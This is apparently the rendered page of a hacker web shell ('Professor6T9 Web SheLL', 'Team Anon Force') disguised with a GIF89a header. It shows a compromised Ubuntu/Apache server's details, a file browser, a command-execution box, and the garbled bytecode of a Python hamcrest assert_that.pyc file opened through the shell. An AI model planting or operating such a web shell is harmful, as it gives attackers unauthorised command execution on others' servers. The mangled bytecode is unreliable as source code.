GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
hamcrest
/
core
/
__pycache__
[ HOME ]
Exec
Submit
assert_that.cpython-310.pyc
o (]^ � @ s� d dl Z d dlmZmZmZmZ d dlmZ d dlm Z dZ dZdZdZ dZed �Zeddedee d eddfdd��Zedded eddfdd��Zddd�Zdedee d eddfdd�Zdded ee ddfdd�ZdS )� N)�Optional�TypeVar�cast�overload)�Matcher)�StringDescriptionzJon ReidzCopyright 2011 hamcrest.orgzBSD, see License.txtT�T� �actual�matcher�reason�returnc C � d S �N� �r r r r r �;/usr/lib/python3/dist-packages/hamcrest/core/assert_that.py�assert_that � r � assertionc C r r r �r r r r r r r c C sV t |t�rt| ||d� dS t | t�rt�d�t| ��� ttt | �tt |�d� dS )a� Asserts that actual value satisfies matcher. (Can also assert plain boolean condition.) :param actual: The object to evaluate as the actual value. :param matcher: The matcher to satisfy as the expected condition. :param reason: Optional explanation to include in failure description. ``assert_that`` passes the actual value to the matcher for evaluation. If the matcher is not satisfied, an exception is thrown describing the mismatch. ``assert_that`` is designed to integrate well with PyUnit and other unit testing frameworks. The exception raised for an unmet assertion is an :py:exc:`AssertionError`, which PyUnit reports as a test failure. With a different set of parameters, ``assert_that`` can also verify a boolean condition: .. function:: assert_that(assertion[, reason]) :param assertion: Boolean condition to verify. :param reason: Optional explanation to include in failure description. This is equivalent to the :py:meth:`~unittest.TestCase.assertTrue` method of :py:class:`unittest.TestCase`, but offers greater flexibility in test writing by being a standalone function. r z"arg1 should be boolean, but was {}r N)� isinstancer � _assert_match�warnings�warn�format�type�_assert_boolr �bool�strr r r r r s c C sN |� | �s%t� }|�|��d��|��d� |�| |� |�d� t|��d S )Nz Expected: z but: � )�matchesr Zappend_textZappend_description_ofZdescribe_mismatch�AssertionError)r r r �descriptionr r r r A s � �r c C s | s |sd}t |��d S )NzAssertion failed)r"